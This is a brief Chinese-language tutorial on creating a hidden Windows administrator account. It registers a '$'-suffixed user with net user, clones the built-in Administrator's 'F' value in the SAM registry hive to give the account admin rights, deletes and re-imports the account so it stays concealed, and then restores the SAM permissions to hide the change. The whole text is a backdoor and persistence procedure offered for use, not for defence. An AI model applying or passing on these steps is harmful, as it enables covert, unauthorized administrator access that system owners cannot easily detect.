隐藏账户

1 ．在“运行”栏输入Regedt32，在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\右键“权限”将administrators的权限提升为完全控制。

2 ．新键一个帐号lizi$，普通权限即可。（$表示在命令提示符下不显示）net user lizi$ 123 /add(添加一个用户)。

3 ．打开注册表regedit把我们的帐号lizi$克隆成管理员权限。

在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names,找到管帐号administrator查看其信息。

如图其类型为”0x 1f 4 ” 然后在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users找到对应键值” 0000001f 4” 复制数值“F“的内容入下图：

然后找到lizi$帐号的“F”键值覆盖之。最后将Names下的lizi$和Users下的对应类型导出注册表。

5 ．删除我们新建的帐号lizi$。

Net user lizi$ /del

6. 导入提权后的2个注册表文件。

7 ．最后在“运行”栏输入Regedt32，在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\右键“权限”将administrators的权限取消掉。